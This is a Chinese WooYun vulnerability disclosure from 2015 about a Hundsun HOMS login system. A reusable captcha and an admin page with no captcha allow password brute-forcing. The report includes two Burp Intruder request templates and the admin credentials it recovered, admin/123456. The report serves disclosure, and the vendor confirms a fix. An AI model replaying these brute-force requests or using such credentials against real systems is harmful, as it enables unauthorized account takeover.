当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2015-0158839
漏洞标题：
恒生电子homs某系统漏洞打包（拿下admin账户控制权）
相关厂商：
hundsun.com
漏洞作者：
路人甲
提交时间：
2015-12-06 16:58
修复时间：
2016-01-23 15:16
公开时间：
2016-01-23 15:16
漏洞类型：
设计缺陷/逻辑错误
危害等级：
高
自评Rank：
15
漏洞状态：
厂商已经确认
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2015-12-06： 细节已通知厂商并且等待厂商处理中
2015-12-10： 厂商已经确认，细节仅向厂商公开
2015-12-20： 细节向核心白帽子及相关领域专家公开
2015-12-30： 细节向普通白帽子公开
2016-01-09： 细节向实习白帽子公开
2016-01-23： 细节向公众公开

简要描述：

周末无聊。

详细说明：

此漏洞出现在二级域名http://homs.hs.net/account/login.do
先证明一下系统是恒生电子的

屏幕快照 2015-12-06 16.01.25.png


登录页面有一个处奇葩设计，只要不刷新页面，验证码就可以无限次使用。

屏幕快照 2015-12-06 16.01.51.png


于是，采用burp进行破解，顺利得到admin的密码是123456。

POST /account/ajaxLogin.do HTTP/1.1
Host: homs.hs.net
Content-Length: 36
Accept: */*
Origin: http://homs.hs.net
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://homs.hs.net/account/login.do
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,en-US;q=0.4
Cookie: Hm_lvt_381caeee718c00600b389a230cd2a1c9=1446445551,1446958840; JSESSIONID=2AF8A077E2FF5603C8A8A952A6E0F32D; 
username=admin&password=§1§&vCode=lIIL


屏幕快照 2015-12-06 16.15.07.png


系统的的管理后台http://homs.hs.net/admin/login.do

屏幕快照 2015-12-06 16.28.51.png


没有验证码，直接爆破管理员密码，依然是admin 123456

POST /admin/login.do HTTP/1.1
Host: homs.hs.net
Content-Length: 25
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://homs.hs.net
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Referer: http://homs.hs.net/admin/login.do
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,en-US;q=0.4
Cookie: Hm_lvt_381caeee718c00600b389a230cd2a1c9=1446445551,1446958840; JSESSIONID=2AF8A077E2FF5603C8A8A952A6E0F32D; JSESSIONID=B30112F69559CDDA29DD5636B426FA1B
userName=admin&password=§1§


屏幕快照 2015-12-06 16.21.55.png


登录管理员账号，各种信息可以编辑

屏幕快照 2015-12-06 16.23.14.png


屏幕快照 2015-12-06 16.23.34.png


最后，有SVN相关信息泄露

屏幕快照 2015-12-06 16.25.24.png


漏洞证明：

修复方案：

你们懂得

版权声明：转载请注明来源 路人甲@乌云

>

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-12-10 21:26

厂商回复：

非常感谢您的反馈，已进行处理。

最新状态：

暂无